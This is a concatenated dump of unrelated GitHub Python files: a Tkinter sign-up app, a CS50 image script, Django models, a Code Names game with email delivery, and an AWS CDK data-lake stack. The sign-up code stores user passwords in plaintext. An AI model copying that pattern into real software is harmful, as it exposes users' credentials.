search_button.place(x=540, y=150)\n search_Entry.place(x=50, y=150)\n # close_button.place(x=670, y=0)\n window.mainloop()\n\n\ndef create_uesr(frame, user,button_stud,button_inst,button_comp):\n frame.place_forget()\n def creating_account(entry_usr, entry_pwd, entry_conpwd, entry_mob, entry_email, entry_belongs_to):\n account_details = [entry_usr, entry_pwd, entry_mob, entry_email, entry_belongs_to]\n # checking if the passwords are same\n if entry_pwd.get() != entry_conpwd.get():\n messagebox.showerror(\"Oops...!\", \"Passwords are mismatching\")\n else:\n\n if user == \"student\":\n table_profile = \"student_profile\"\n table_login = \"student_login\"\n column_belongs_to = \"college\"\n elif user == \"institute\":\n table_profile = \"institute_profile\"\n table_login = \"institute_login\"\n column_belongs_to = \"institute_name\"\n else:\n table_profile = \"company_profile\"\n table_login = \"company_login\"\n column_belongs_to = \"company_name\"\n\n # checking if the username exists\n sql_user_names = f\"SELECT * FROM {table_login} WHERE user_name = %s\"\n values_user_names = (entry_usr.get(),)\n edupedia_cursor.execute(sql_user_names, values_user_names)\n result = edupedia_cursor.fetchall()\n if result:\n messagebox.showerror(\"Oops\",\n \"username already exists\\nTry another one or Log in to your account with this username\")\n else:\n # creating mew user with details provided\n try:\n sql_profile = f\"INSERT INTO {table_profile} (username,email,phone_number,{column_belongs_to}) VALUES (%s,%s,%s,%s)\"\n values_profile = (entry_usr.get(), entry_email.get(), entry_mob.get(), entry_belongs_to.get())\n sql_login_details = f\"INSERT INTO {table_login} (user_name,password) VALUES (%s,%s)\"\n value_login_details = (entry_usr.get(), entry_pwd.get())\n edupedia_cursor.execute(sql_profile, values_profile)\n edupedia_cursor.execute(sql_login_details, value_login_details)\n messagebox.showinfo(\"Success\",\n \"Account created\\nLogin and go to update profile to complete your account details\")\n edupedia.commit()\n frame_create_usr.place_forget()\n login(frame_comp_log, user, button_stud, button_inst, button_comp)\n\n except Exception as error:\n messagebox.showerror(\"Error...!\", f\"{error}\\nPlease contact the administrators\")\n\n def close(frame,button_stud,button_inst,button_comp):\n frame_create_usr.place_forget()\n login(frame, user,button_stud,button_inst,button_comp)\n\n frame.pack_forget()\n frame_create_usr = Frame(label_main,bg=\"#0572b5\" )\n\n close_button = Button(frame_create_usr, text=\"X\", bg=\"red\", fg=\"white\", width=3, command=lambda: close(frame,button_stud,button_inst,button_comp))\n inside_frame = Frame(frame_create_usr, bg=\"#b2e9f7\")\n close_button.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n\n\n label_usr = Label(inside_frame, text=\"Enter Username \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"), width=16,\n anchor='nw')\n entry_usr = Entry(inside_frame, font=(\"Helvetica\", \"16\"))\n label_pwd = Label(inside_frame, text=\"Enter Password \", bg='#b2e9f7', font=(\"Helvetica\", \"16\"), width=16,\n anchor='nw')\n v = IntVar(value=0)\n check_pwd = Checkbutton(inside_frame, text=\"show password\", variable=v, onvalue=1, offvalue=0,\n command=lambda: showpsd(v, entry_pwd))\n entry_pwd = Entry(inside_frame, show=\"*\", font=(\"Helvetica\", \"16\"))\n label_conpwd = Label(inside_frame, text=\"Conform Password \", bg='#b2e9f7', font=(\"Helvetica\", \"16\"), width=16,\n anchor='nw')\n entry_conpwd = Entry(inside_frame, show=\"*\", font=(\"Helvetica\", \"16\"))\n label_mob = Label(inside_frame, text=\"Enter Mobile no \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"), width=16,\n anchor='nw')\n entry_mob = Entry(inside_frame, font=(\"Helvetica\", \"16\"))\n label_email = Label(inside_frame, text=\"Enter Email id\", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"), width=16,\n anchor='nw')\n entry_email = Entry(inside_frame, font=(\"Helvetica\", \"16\"))\n entry_belongs_to = Entry(inside_frame, font=(\"Helvetica\", \"16\"))\n entry_belongs_to.grid(row=6, column=1)\n\n if user == \"student\":\n label_collge = Label(inside_frame, text=\"Enter Collage name \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),\n width=16, anchor='nw')\n label_collge.grid(row=6, column=0, pady=10)\n\n elif user == \"institute\":\n label_institue = Label(inside_frame, text=\"Enter institute name\", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),\n width=16, anchor='nw')\n label_institue.grid(row=6, column=0, pady=10)\n else:\n label_company = Label(inside_frame, text=\"Enter company name\", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),\n width=16, anchor='nw')\n label_company.grid(row=6, column=0, pady=10)\n\n submit_button = Button(inside_frame, text=\"submit\", bg=\"blue\", fg=\"white\", font=(\"Helvetica\", \"16\"),\n command=lambda: creating_account(entry_usr, entry_pwd, entry_conpwd, entry_mob, entry_email,\n entry_belongs_to))\n\n frame_create_usr.place(x=350, y=100)\n label_usr.grid(row=1, column=0, pady=10, padx=10)\n entry_usr.grid(row=1, column=1, padx=5)\n label_pwd.grid(row=2, column=0, pady=10)\n entry_pwd.grid(row=2, column=1)\n check_pwd.grid(row=2, column=2, padx=10)\n label_conpwd.grid(row=3, column=0, pady=10)\n entry_conpwd.grid(row=3, column=1)\n label_mob.grid(row=4, column=0, pady=10)\n entry_mob.grid(row=4, column=1)\n label_email.grid(row=5, column=0, pady=10)\n entry_email.grid(row=5, column=1)\n submit_button.grid(row=7, column=1, pady=10)\n\n\n# mian frame categories\n# frame_login = Frame(window, width=600, height=300, bg=\"white\")\n# frame_login.place(x=350, y=200)\n\nimg = Image.open(\"resources/main.jpg\")\nimg = ImageTk.PhotoImage(img)\nlabel_main=Label(window,image=img)\nlabel_main.pack()\n\nlogo_img = Image.open(\"resources/main_logo.jpg\")\nlogo_img = ImageTk.PhotoImage(logo_img)\nlogo_label=Label(label_main,image=logo_img)\nlogo_label.place(x=580,y=80)\n\ndef into(w=None,e=None):\n\n\n if w!=None and e!=None:\n w.place_forget()\n e.place_forget()\n # else:\n # img = Image.open(\"resources/4220050.jpg\")\n # img = ImageTk.PhotoImage(img)\n # label_main = Label(window, image=img)\n # label_main.pack()\n\n logo_img1 = Image.open(\"resources/main_logo.jpg\")\n logo_img1 = ImageTk.PhotoImage(logo_img1)\n logo_label1 = Label(label_main, image=logo_img1)\n logo_label1.place(x=580, y=80)\n\n s, i, c = \"student\", \"institute\", \"company\"\n\n # category button\n button_stud = Button(label_main, text=\"Student login\", bg=\"blue\", fg='white', activebackground=\"green\",\n font=(\"Comic Sans MS\", 15, \"bold\"), width=18, command=lambda: student(s,button_stud,button_inst,button_comp,logo_label1))\n button_inst = Button(label_main, text=\"Institute login\", bg=\"blue\", fg='white', activebackground=\"green\",\n font=(\"Comic Sans MS\", 15, \"bold\"), width=18, command=lambda: institute(i,button_stud,button_inst,button_comp,logo_label1))\n button_comp = Button(label_main, text=\"Company login\", bg=\"blue\", fg='white', activebackground=\"green\",\n font=(\"Comic Sans MS\", 15, \"bold\"), width=18, command=lambda: company(c,button_stud,button_inst,button_comp,logo_label1))\n\n button_stud.place(x=540, y=300)\n button_inst.place(x=540, y=375)\n button_comp.place(x=540, y=450)\n window.mainloop()\n\n\n\n\nwelcome_label=Label(label_main,text=\"Welcome to\",font=(\"Comic Sans MS\", 13, \"bold\"))\nedupidia_button=Button(label_main,text=\"Edupedia\",fg=\"#042866\",width=10,font=(\"Comic Sans MS\", 25, \"bold\"),activebackground=\"#d3f4f5\",activeforeground=\"#0f9496\",command=lambda :into(welcome_label,edupidia_button,))\n# welcome_label.place(x=620,y=250)\nedupidia_button.place(x=550,y=250)\n\n\nframe_stud_log = Frame(label_main, bg=\"#0572b5\")\nframe_inst_log = Frame(label_main, bg=\"#0572b5\")\nframe_comp_log = Frame(label_main, bg=\"#0572b5\")\n\nwindow.mainloop()\n","repo_name":"ASAP-AIML-PROJECT-1/EduPedia","sub_path":"main/EduPedia.py","file_name":"EduPedia.py","file_ext":"py","file_size_in_byte":81405,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"41356798260","text":"#wget https://cs50.harvard.edu/python/2022/psets/6/shirt/shirt.png\n#wget https://cs50.harvard.edu/python/2022/psets/6/shirt/muppets.zip\n#unzip muppets.zip\nfrom os.path import splitext\nimport sys\nfrom PIL import Image\nfrom PIL import ImageOps\n\nif len(sys.argv) < 3:\n sys.exit(\"Too few command-line arguments\")\nelif len(sys.argv) > 3:\n sys.exit(\"Too many command-line arguments\")\nelif splitext(sys.argv[1])[1].lower() not in [\".jpg\", \".jpeg\", \".png\"]:\n sys.exit(\"Invalid input\")\nelif splitext(sys.argv[2])[1].lower() not in [\".jpg\", \".jpeg\", \".png\"]:\n sys.exit(\"Invalid input\")\nelif splitext(sys.argv[1])[1].lower() != splitext(sys.argv[2])[1].lower():\n sys.exit(\"Input and output have different extensions\")\nelse:\n try:\n with Image.open(sys.argv[1]) as im:\n pass\n except FileNotFoundError:\n sys.exit(\"File not found\")\n\nwith Image.open(\"shirt.png\") as shirt:\n with Image.open(sys.argv[1]) as photo:\n size = shirt.size\n new_photo = ImageOps.fit(photo,size)\n# new_photo.save(\"res_and_croped.jpg\") #teste para ver imagem intermediária\n new_photo.paste(shirt, shirt)\n new_photo.save(sys.argv[2])\n\n\"\"\"\n#Internet mostra muito assim\nshirt = Image.open(\"shirt.png\")\nphoto = Image.open(sys.argv[1])\nsize = shirt.size\nnew = ImageOps.fit(photo, size)\nnew.paste(shirt,shirt)\nnew.save(sys.argv[2])\n\"\"\"","repo_name":"BrunoDVolpe/cs50","sub_path":"cs50p/shirt/shirt.py","file_name":"shirt.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"15499549857","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractUser\nfrom markdown2 import markdown\n\n\nclass User(AbstractUser):\n TIER = [\n (\"T4\", \"Banned User\"),\n (\"T3\", \"Standard User\"),\n (\"T2\", \"Member User\"),\n (\"T1\", \"Administrator\")\n ]\n tier = models.CharField(max_length=2, choices=TIER, default=\"T3\")\n \n def __str__(self):\n return self.username\n\n\nclass NonStrippingTextField(models.TextField):\n def formfield(self, **kwargs):\n kwargs['strip'] = False\n return super(NonStrippingTextField, self).formfield(**kwargs)\n \n\nclass AdminPost(models.Model):\n id = models.AutoField(primary_key=True)\n title = models.CharField(max_length=64)\n creator = models.ForeignKey(User, on_delete=models.CASCADE)\n markdown = NonStrippingTextField()\n time_created = models.DateTimeField(auto_now=True)\n \n class Meta:\n verbose_name_plural = (\"Admin Posts\")\n \n def __str__(self):\n return f\"\"\n \n def serialize(self):\n return {\n \"id\": self.id,\n \"creator\": self.creator.username,\n \"title\": self.title,\n \"markdown\": markdown(self.markdown),\n \"time\": self.time_created.strftime(\"%b %d %Y, %I:%M %p\"),\n }\n","repo_name":"michac789/CommerceApp","sub_path":"sso/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20740369262","text":"import numpy as np\nimport random\nfrom collections import defaultdict\nimport copy\n#from Instance_8 import Processing_time\nfrom dfjs01 import Processing_time\n\n\nprocessing_time = Processing_time\n#job_num = len(processing_time)\n#print(job_num)\nzero_model = copy.deepcopy(processing_time)\njob_num = 10\nfac_num = 3\njob_num_count = 0\njob_in_fac = []\ndef split_interger(job_num, fac_num):\n assert fac_num>0\n zhenchu = job_num // fac_num\n yushu = job_num % fac_num\n if yushu > 0:\n return [zhenchu]*(fac_num-yushu)+[zhenchu+1]*yushu\n if yushu < 0 :\n return [zhenchu-1]*-yushu + [zhenchu]*(fac_num+yushu)\n return [zhenchu]*fac_num\n\na = split_interger(job_num,fac_num)\nfor i in range(len(a)):\n a[i]+=1\n#print(a)\n\nsub_factory = defaultdict(list)\n#print(processing_time)\nbegin = 0\nfor i in range(fac_num): #多个车间都是0\n start, end = [begin,begin+a[i]]\n #print(start, end)\n begin = begin+a[i]\n for key in range(start, end-1):\n #print(key)\n sub_factory['factory_' + str(i)].append(processing_time[key-i])\n sub_factory['factory_' + str(i)].append((np.zeros(np.shape(processing_time[0]))).tolist())\n #print(sub_factory['factory_' + str(i)])\n\n\ndef find_useless_job(fac): #单个车间工件为0的下标\n b = []\n for i in range(len(fac)):\n if np.all(fac[i]) == 0:\n b.append(i)\n return b\nfac = [6,0,9]\n\n\na = [0,1,2,3]\nprint(a[:2])\n#print(sorted(fac))\n\n#print(sub_factory)\n#job = []\n\n# k =[[[7, 9999, 4], [8, 3, 9999], [3, 9999, 6], [2, 4, 9999]],\n# [[8, 12, 9999], [9999, 14, 9999], [7, 14, 4], [8, 9999, 4]],\n# [[10, 15, 8], [9999, 2, 6], [2, 9999, 4], [6, 3, 9999]],\n# [[9999, 9, 5], [6, 9999, 2], [9999, 7, 12], [9, 6, 3]],\n# [[10, 9999, 15], [9999, 7, 14], [5, 8, 9999], [4, 6, 8]],\n# [[0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0]]\n# ]\n#\n# b = []\n# for i in range(len(k)):\n# if np.all(k[i]) == 0:\n# b.append(i)\n# print(b)\n\n# 交换\n# for i in range(fac_num): # 多个车间都是0\n# fac = list(sub_factory['factory_' + str(i)])\n# print(fac)\n# a = 0\n# b = 0\n# exchange = sub_factory['factory_0'][a]\n# sub_factory['factory_0'][a] = sub_factory['factory_1'][b]\n# sub_factory['factory_1'][b] = exchange\n# print('......')\n# for i in range(fac_num): # 多个车间都是0\n# fac = list(sub_factory['factory_' + str(i)])\n# print(fac)\n\n\n\n\n# #shuffle = true or false\n#\n# # def reset_to_0(array):\n# # for i, e in enumerate(array):\n# # if isinstance(e, list):\n# # reset_to_0(e)\n# # else:\n# # array[i] = 0\n# #\n# # reset_to_0(zero_model)\n#\n#\n# #print(zero_model)\n# job = random.randint(0,job_num) #删除工件 用0代替\n# print(job)\n# for i in range(len(processing_time)-1):\n# if i == job:\n# print(i)\n# # print(processing_time[i])\n# print(np.shape(processing_time[i]))\n# processing_time[i] = np.zeros(np.shape(processing_time[i])).tolist()\n# print(processing_time)\n#\n# factory_num = 3\n# #np.random.shuffle(processing_time)\n# # for i in range(factory_num):\n# # globals()['factory'+str(i)]=zero_model #多个车间都是0\n#\n#\n#\n#\n# rank = []\n# for i in range(len(processing_time)):\n# rank.append(i)\n# origin_dict = dict(zip(rank,processing_time)) #工件和序号绑定的字典\n# print(origin_dict)\n#\n#\n#\n# sub_factory = defaultdict(list)\n# for i in range(factory_num): #多个车间都是0\n# sub_factory['factory_'+str(i)].extend(zero_model)\n# sub_factory['factory_' + str(i)] = dict(zip(rank,sub_factory['factory_' + str(i)]))\n# #print(sub_factory['factory_0'])\n#\n#\n# job_in_factory = len(processing_time)//factory_num\n# num_in_each_factor =[]\n# for i in range(factory_num):\n# start,end = i*job_in_factory,(i+1)*job_in_factory\n# for key in range(start,end):\n# sub_factory['factory_' + str(i)][key] = origin_dict[key]\n#\n# num = end - start\n# if factory_num * job_in_factory != len(processing_time) and i == (factory_num-1):\n# for j in (end,len(processing_time)-1):\n# sub_factory['factory_' + str(factory_num-1)][j] = origin_dict[j]\n# num = num + (len(processing_time) - factory_num*job_in_factory)\n# num_in_each_factor.append(num)\n#\n# print(sub_factory['factory_0'])\n# print(sub_factory['factory_1'])\n# print(sub_factory['factory_2'])\n# print(num_in_each_factor)\n\n#\n# def processing_time_data( processing_time):\n# J_num = len(processing_time)\n# machine_num = 0\n# o_num = 0\n# o = []\n# n = []\n# for k, v in enumerate(processing_time):\n# o_num += len(v)\n# o.append(len(v))\n# n.append(k + 1)\n# J = dict(zip(n, o))\n# for i in range(len(processing_time[0])):\n# machine_num = len(processing_time[0][i])\n# return o_num\n#\n# print(processing_time_data(processing_time))\n\n\n\n\n","repo_name":"YQF1207/FJSP_transferlearning_easyway","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40184811079","text":"from random import randint, shuffle\nimport sys\nimport numpy as np\nimport pygame\nimport math\nimport configparser\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\nimport smtplib, ssl\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.image import MIMEImage\n\n\n# Sender email variables\nCONFIG_FILE = 'config.txt'\nCONFIG_PARAM = 'configuration'\nCONFIG_EMAIL = 'email'\nCONFIG_PASSWORD = 'password'\n\n# Email variables\nMESSAGE_SUBJECT = 'Subject'\nMESSAGE_FROM = 'From'\nMESSAGE_TO = 'To'\nMESSAGE_SUBJECT_TEXT = 'Code Names Board'\nEMAIL_TEXT = \"\"\"\\\nHi,\nHow are you?\nReal Python has many great tutorials:\nwww.realpython.com\"\"\"\nEMAIL_HTML = \"\"\"\\\n\n\n \"Code\n\n\n\"\"\"\nMESSAGE_HEADER = 'Content-ID'\nMESSAGE_HEADER_TEXT = ''\nEMAIL_URL = 'smtp.gmail.com'\nEMAIL_PORT = 465\nBOARD_IMG_FILE = 'board.png'\n\n# Game formatting variables\nGAME_NAME = 'Code Names'\nCARD_DEFAULT = (235,213,179)\nBLACK = (0,0,0)\nTEAM_1_COLOR = (61,96,152)\nTEAM_2_COLOR = (240,75,76)\nTURN_COLOR = (92, 219, 149)\nNEUTRAL_COLOR = (162,162,162)\nROW_COUNT = 5\nCOLUMN_COUNT = 5\nCARD_HEIGHT = 100\nCARD_WIDTH = 150\nGAP = 10\nFONT_SIZE = 18\nSCREEN_SIZE = (COLUMN_COUNT * (CARD_WIDTH + GAP) + GAP, (ROW_COUNT+1) * (CARD_HEIGHT + GAP))\n\n# Game logic variables\nBOARD_WORDS_FILE = 'data/words.txt'\nTEAM_1 = '1'\nTEAM_2 = '2'\nMATCH_TEXT = 'match'\nOPP_WORD_TEXT = 'opp_word'\nNEUTRAL_TEXT = 'neutral'\nGAME_OVER_TEXT = 'game_over'\nCORRECT_COLOR = { TEAM_1: TEAM_1_COLOR, TEAM_2: TEAM_2_COLOR }\nINCORRECT_COLOR = { TEAM_1: TEAM_2_COLOR, TEAM_2: TEAM_1_COLOR }\nEND_GAME_MILLIS = 5000\n\n\ndef handle_file(file_name, handle, lines=False):\n \"\"\" Try to open and return file. \"\"\"\n\n with open(file_name, handle) as f:\n try:\n if lines:\n return f.readlines()\n return f.read()\n except:\n print('Error loading file.')\n sys.exit()\n\ndef create_board():\n \"\"\" Select words to create game board. \"\"\"\n\n words = [word.strip().upper() for word in handle_file(BOARD_WORDS_FILE, 'r', True)]\n shuffle(words)\n return np.reshape(words[:25],(5,5))\n \ndef create_key():\n \"\"\" Create the key and output file in png format. \"\"\"\n\n cards = ['1','1','1','1','1','1','1','1','1',\n '2','2','2','2','2','2','2','2',\n 'X','-','-','-','-','-','-','-']\n\n shuffle(cards)\n\n fig, ax = plt.subplots()\n for i, card in enumerate(cards):\n color = {'1':'b', '2':'r', 'X':'k', '-': 'w'}.get(card)\n coords = (int(i % 5), int(i / 5))\n rect = mpatches.Rectangle((0+coords[0]/5,.8-coords[1]/5),.2,.2, fill=True, edgecolor='k', facecolor=color)\n ax.add_patch(rect)\n \n plt.axis('off')\n plt.savefig(BOARD_IMG_FILE, bbox_inches='tight')\n \n return np.reshape(cards[:25],(5,5))\n\ndef email_key(receiver_email):\n \"\"\" Email key to reciever. \"\"\"\n\n # Set up sender email.\n config = configparser.ConfigParser()\n config.read(CONFIG_FILE)\n sender_email= config.get(CONFIG_PARAM, CONFIG_EMAIL)\n password = config.get(CONFIG_PARAM, CONFIG_PASSWORD)\n\n # Set up message.\n message = MIMEMultipart(\"alternative\")\n message[MESSAGE_SUBJECT] = MESSAGE_SUBJECT_TEXT\n message[MESSAGE_FROM] = sender_email\n message[MESSAGE_TO] = receiver_email\n\n # Turn into plain/html MIMEText objects\n part1 = MIMEText(EMAIL_TEXT, \"plain\")\n part2 = MIMEText(EMAIL_HTML, \"html\")\n\n # Add HTML/plain-text parts to MIMEMultipart message\n # The email client will try to render the last part first\n message.attach(part1)\n message.attach(part2)\n\n # This example assumes the image is in the current directory\n msgImage = MIMEImage(handle_file(BOARD_IMG_FILE, 'rb'))\n\n # Define the image's ID as referenced above\n msgImage.add_header(MESSAGE_HEADER, MESSAGE_HEADER_TEXT)\n message.attach(msgImage)\n\n # Create secure connection with server and send email\n context = ssl.create_default_context()\n with smtplib.SMTP_SSL(EMAIL_URL, EMAIL_PORT, context=context) as server:\n server.login(sender_email, password)\n server.sendmail(\n sender_email, receiver_email, message.as_string()\n )\n\ndef check_score(board):\n \"\"\" Check score for game based on move. \"\"\"\n\n score = {\n TEAM_1: 9 - (board == TEAM_1).sum(),\n TEAM_2: 8 - (board == TEAM_2).sum()\n }\n\n return score, any(x == 0 for x in score.values())\n\ndef check_guess(x, y, board, team, key):\n \"\"\" Checks if user guess is correct. \"\"\"\n\n selection = key[x, y]\n board[x, y] = selection\n result_map = {\n 'X': GAME_OVER_TEXT,\n '-': NEUTRAL_TEXT,\n team: MATCH_TEXT\n }\n\n return result_map.get(selection, OPP_WORD_TEXT), board\n\n\ndef draw_scoreboard(card_font, team_1_score, team_2_score, turn):\n \"\"\" Updates scoreboard on screen. \"\"\"\n\n team1_label = card_font.render('TEAM 1', 1, TEAM_1_COLOR)\n team2_label = card_font.render('TEAM 2', 1, TEAM_2_COLOR)\n team1_score_label = card_font.render(str(team_1_score), 1, TEAM_1_COLOR)\n team2_score_label = card_font.render(str(team_2_score), 1, TEAM_2_COLOR)\n width = SCREEN_SIZE[0]\n\n if turn == '1':\n pygame.draw.rect(screen, TURN_COLOR, (width/3-team1_label.get_width()/2-5, CARD_HEIGHT/4-5, team1_label.get_width()+10, team1_label.get_height()+FONT_SIZE+12),3)\n else:\n pygame.draw.rect(screen, TURN_COLOR, (2*width/3-team2_label.get_width()/2-5, CARD_HEIGHT/4-5, team2_label.get_width()+10, team2_label.get_height()+FONT_SIZE+12),3)\n \n screen.blit(team1_label, (width/3-team1_label.get_width()/2,CARD_HEIGHT/4))\n screen.blit(team2_label, (2*width/3-team2_label.get_width()/2,CARD_HEIGHT/4))\n screen.blit(team1_score_label, (width/3-team1_score_label.get_width()/2,CARD_HEIGHT/4+FONT_SIZE+2))\n screen.blit(team2_score_label, (2*width/3-team2_score_label.get_width()/2,CARD_HEIGHT/4+FONT_SIZE+2))\n\n pygame.display.update()\n\n\ndef draw_board(screen, board, card_font):\n \"\"\" Draws board.\"\"\"\n\n screen.fill((231,231,231))\n\n draw_scoreboard(card_font, '9', '8', '1')\n\n for c in range(COLUMN_COUNT):\n for r in range(ROW_COUNT):\n pygame.draw.rect(screen, CARD_DEFAULT, (GAP + c * (CARD_WIDTH + GAP), r * (CARD_HEIGHT + GAP) + CARD_HEIGHT, CARD_WIDTH, CARD_HEIGHT))\n label = card_font.render(board[r,c], 1, BLACK)\n screen.blit(label, (GAP + c * (CARD_WIDTH + GAP) + CARD_WIDTH / 2 - label.get_width() / 2, r * (CARD_HEIGHT + GAP) + (1.5 * CARD_HEIGHT) - label.get_height() / 2))\n\n pygame.display.update()\n\n\n# Game variables.\nboard = create_board()\nkey = create_key()\ngame_over = False\nend_turn = False\nteam = '1'\n\n# Email keys.\nemail = input('Enter Team 1 CodeMaster:')\nemail_key(email)\nemail = input('Enter Team 2 CodeMaster:')\nemail_key(email)\n\n# Start game.\npygame.init()\npygame.display.set_caption(GAME_NAME)\ncard_font = pygame.font.SysFont('arial', FONT_SIZE)\ncard_font.set_bold(True)\nscreen = pygame.display.set_mode(SCREEN_SIZE)\ndraw_board(screen, board, card_font)\npygame.display.update()\n\n\nwhile not game_over:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n \n if event.type == pygame.MOUSEBUTTONDOWN:\n # Get coordinates based on where user clicked.\n col = int(math.floor(event.pos[0]/(CARD_WIDTH + GAP)))\n row = int(math.floor(event.pos[1]/(CARD_HEIGHT + GAP))) - 1\n\n # Figure out if the user guess was correct.\n result, board = check_guess(row, col, board, team, key)\n\n # Options for drawing results of guess on board.\n draw_guess_options = {\n MATCH_TEXT: [CORRECT_COLOR[team], GAP + col * (CARD_WIDTH + GAP), row * (CARD_HEIGHT + GAP) + CARD_HEIGHT],\n OPP_WORD_TEXT: [INCORRECT_COLOR[team], GAP + col * (CARD_WIDTH + GAP), row * (CARD_HEIGHT + GAP) + CARD_HEIGHT],\n NEUTRAL_TEXT: [NEUTRAL_COLOR, GAP + col * (CARD_WIDTH + GAP), row * (CARD_HEIGHT + GAP) + CARD_HEIGHT],\n GAME_OVER_TEXT: [BLACK, GAP + col * (CARD_WIDTH + GAP), row * (CARD_HEIGHT + GAP) + CARD_HEIGHT]\n }\n\n # Draw the actual guess on the board.\n draw_guess_option = draw_guess_options.get(result)\n pygame.draw.rect(screen, draw_guess_option[0], (draw_guess_option[1], draw_guess_option[2], CARD_WIDTH, CARD_HEIGHT))\n pygame.display.update()\n\n # Figure out if turn is over and game is over.\n end_turn = result in (OPP_WORD_TEXT, NEUTRAL_TEXT, GAME_OVER_TEXT)\n game_over = result == GAME_OVER_TEXT\n \n if not game_over:\n score, game_over = check_score(board)\n # Switch teams, if game over.\n team = (TEAM_2 if team == TEAM_1 else TEAM_1) if end_turn else team\n\n # Update score board.\n pygame.draw.rect(screen, (231, 231, 231), (0, CARD_HEIGHT/4-10, SCREEN_SIZE[0], FONT_SIZE*4))\n draw_scoreboard(card_font, score[TEAM_1], score[TEAM_2], team)\n pygame.display.update()\n\n if game_over:\n pygame.time.wait(END_GAME_MILLIS)","repo_name":"nick-ceneviva/code-names","sub_path":"code_name.py","file_name":"code_name.py","file_ext":"py","file_size_in_byte":9233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24861930770","text":"# Ch1Ex005.py\r\n# Author: Parshwa Patil\r\n# ThePythonWorkbook Solutions\r\n# Exercise No. 5\r\n# Title: Bottle Deposits\r\n\r\ndef main():\r\n\tlessThan1 = int(input(\"Less than 1 L: \"))\r\n\tmoreThan1 = int(input(\"More than 1 L: \"))\r\n\r\n\trefund = (0.1 * lessThan1) + (0.25 * moreThan1)\r\n\r\n\tprint(\"Refund: $\" + str(refund))\r\n\r\nif __name__ == \"__main__\": main()","repo_name":"Parshwa-P3/ThePythonWorkbook-Solutions","sub_path":"Solutions/Ch1Ex005.py","file_name":"Ch1Ex005.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"17329505840","text":"import os\nfrom aws_cdk import core\nfrom aws_cdk import aws_s3 as s3\n\nfrom data_lake.base import BaseDataLakeBucket, DataLakeLayer\n\nclass DataLakeStack(core.Stack):\n\n def __init__(self, scope: core.Construct, **kwargs):\n self.deploy_env = os.environ.get(\"ENVIRONMENT\", \"local\")\n super().__init__(scope, id = f\"{self.deploy_env}-datalake-stack\", **kwargs)\n\n self.data_lake_raw_bucket = BaseDataLakeBucket(self, layer = DataLakeLayer.RAW)\n self.data_lake_raw_bucket.add_lifecycle_rule(\n transitions = [\n s3.Transition(\n storage_class = s3.StorageClass.INTELLIGENT_TIERING,\n transition_after = core.Duration.days(30)\n ),\n s3.Transition(\n storage_class = s3.StorageClass.GLACIER,\n transition_after = core.Duration.days(180)\n )\n ]\n )\n\n self.datalake_processed_bucket = BaseDataLakeBucket(self, layer = DataLakeLayer.PROCESSED)\n self.datalake_curated_bucket = BaseDataLakeBucket(self, layer = DataLakeLayer.CURATED)\n","repo_name":"felipewhitaker/advanced-data-engineering-bootcamp","sub_path":"data_lake/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"1753415923","text":"import csv\nimport os\nimport sys\nimport glob\nimport re\nimport unidecode\nfrom PIL import Image, ImageDraw\n\nRENDER_CLASS_NAMES = False\n\ntemplateSvg = None\nwith open('card.svg') as file:\n templateSvg = file.read()\n\ndef quote(string):\n return \">\" + string + \"<\"\n\ndef load_classes(filename):\n classes = dict()\n rows = None\n with open(filename) as file:\n rows = csv.DictReader(file)\n for klass in rows:\n classes[klass['class']] = klass\n return classes\n\ndef load_images():\n images = []\n for path in glob.glob(\"individual/image--*.png\"):\n filename = os.path.basename(path)\n m = re.match(r'image--(.*?).png', filename)\n images.append(m.group(1))\n return images\n\ndef image_name(class_name):\n if len(class_name) == 0:\n return 'blank'\n else:\n return 'image--' + unidecode.unidecode(class_name)\n\ndef create_blank_image():\n image = Image.new('RGBA', (80, 80), (255, 0, 0, 0))\n image.save('individual/blank.png')\n\n##################################################\n\nif not os.path.exists('individual'):\n os.mkdir('individual')\n\ncreate_blank_image()\nclasses = load_classes('base-classes.csv')\nimages = load_images()\n\ndef render_attribute(card, orientation):\n if card[orientation + 'Class'] == '':\n return quote('')\n else:\n label = \"\" + card[orientation + 'Var']\n if RENDER_CLASS_NAMES:\n label += \" : \" + card[orientation + 'Class']\n return quote(label)\n\nwith open('base-objects.csv') as csvFile:\n objects = csv.DictReader(csvFile)\n for obj in objects:\n print(obj['object'] + \" : \" + obj['class'])\n if len(obj['object'].strip()) == 0 or len(obj['class'].strip()) == 0:\n print(\"pulando...\")\n continue\n # print(obj['object'])\n card = classes[obj['class']]\n\n hierarchyList = []\n if len(card['hierarchy']) > 0:\n hierarchyList = card['hierarchy'].split(\" > \")\n hierarchyList = [card['class']] + hierarchyList\n svg = templateSvg\n svg = svg.replace('>name<', quote(obj['object']))\n svg = svg.replace('>hierarchy<', quote(' ⇾ 